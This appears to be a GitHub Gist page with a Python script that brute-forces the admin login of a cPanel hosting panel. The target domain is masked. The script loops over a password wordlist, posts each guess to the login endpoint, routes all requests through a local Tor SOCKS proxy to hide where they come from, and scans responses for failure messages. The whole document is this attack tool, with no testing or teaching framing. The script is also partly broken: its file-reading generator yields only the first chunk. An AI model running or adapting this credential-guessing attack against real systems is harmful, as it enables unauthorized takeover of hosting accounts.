Skip to content

Instantly share code, notes, and snippets.

@iklobato
Created January 1, 2021 02:07
Show Gist options
  • Save iklobato/d8454f0e75c6f103bcb8a07b47e7534f to your computer and use it in GitHub Desktop.
Save iklobato/d8454f0e75c6f103bcb8a07b47e7534f to your computer and use it in GitHub Desktop.
import requests
from bs4 import BeautifulSoup
import json
cookies = {
'cpsession': 'XXXXX',
}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Referer': 'https://cpanel.XXXXXXXXXXXXXX.com.br/',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'https://cpanel.XXXXXXXXXXXXXX.com.br',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
}
def make_login(headers, cookies, data):
response = requests.post('https://cpanel.XXXXXXXXXXXXXX.com.br/login/',
headers=headers,
cookies=cookies,
data=data,
proxies={
'http': 'socks5://127.0.0.1:9150',
'https': 'socks5://127.0.0.1:9150'
})
soup = BeautifulSoup(response.content, 'html.parser')
a = [
i.get_text()
for i in soup.findAll('div', {'id':'login-status-message'})
if 'invalid' in i.get_text()
]
print(f'[{response.status_code}] {a}: {data}')
if len(a) != 0:
print(f'[{response.status_code}] {a}: {data}')
def read_in_chunks(file_object, chunk_size=1024):
data = file_object.read(chunk_size)
yield data
with open('gen2.txt', 'r') as f:
for piece in read_in_chunks(f, 100):
passwords = piece.split('\n')
for password in passwords:
data = json.dumps({'user': 'admin','pass': password,'login': ''})
make_login(headers, cookies, data)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment